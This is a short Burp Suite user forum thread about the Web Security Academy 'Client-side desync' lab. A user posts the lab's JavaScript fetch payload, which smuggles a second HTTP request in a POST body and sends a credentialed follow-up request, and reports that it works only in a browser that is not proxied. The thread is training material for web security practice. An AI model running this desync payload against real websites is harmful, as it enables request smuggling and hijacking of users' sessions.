Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Lab: Client-side desync - Solution not working in Chrome

Nemeses5174 | Last updated: Mar 14, 2024 07:24PM UTC

The solution of laboratory "Client-side desync" is not working. The following code does not work in Chrome: fetch('https://YOUR-LAB-ID.h1-web-security-academy.net', { method: 'POST', body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x', mode: 'cors', credentials: 'include', }).catch(() => { fetch('https://YOUR-LAB-ID.h1-web-security-academy.net', { mode: 'no-cors', credentials: 'include' }) }) But it seems to work in Firefox. Maybe some last updates of Chrome broke/fix something? Can you confirm that the proposed solution is still working in Chrome? Thanks

Nemeses5174 | Last updated: Mar 15, 2024 01:09PM UTC

Sorry, now the code above is working. I was using Chrome through the Burp proxy, for correctly execute the malicious script code it is necessary to use a proxy-free browser.

Dominyque, PortSwigger Agent | Last updated: Mar 15, 2024 01:23PM UTC

Hi Thank you for updating the thread that the solution works! Much appreciated :)

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.